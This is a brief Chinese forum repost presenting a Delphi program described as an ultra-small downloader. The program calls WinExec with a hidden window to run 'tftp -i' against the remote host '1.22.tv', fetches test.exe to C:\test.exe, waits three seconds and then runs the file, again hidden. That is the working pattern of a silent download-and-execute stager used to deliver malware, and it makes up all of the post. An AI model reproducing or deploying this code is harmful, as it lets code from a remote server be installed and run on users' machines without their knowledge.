Delphi中利用TFTP命令实现超小下载小程序(转)

1. program FDTester;
   
2. 
   
3. //配置部分
   
4. const
   
5.  Server = '1.22.tv'; //tftp 服务器 域名或IP地址
   
6.  ServerFileName = 'test.exe'; //在服务器上的文件名
   
7.  MyFileName = 'C:\test.exe'; //下载到本地以后的名字
   
8.  WaitTime = 3000;//下载延迟时间(毫秒)
   
9. 
   
10. function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
    
11.  external 'kernel32.dll' name 'WinExec';
    
12. procedure Sleep(dwMilliseconds: LongWord); stdcall;
    
13.  external 'kernel32.dll' name 'Sleep';
    
14. 
    
15. begin
    
16.  Winexec('tftp -i '+server+' get '+ServerFileName+' "'+MyFileName+'"',0);
    
17.  Sleep(WaitTime);
    
18.  Winexec(MyFileName,0);
    
19. end.

摘自： http://club.topsage.com/thread-2234915-1-1.html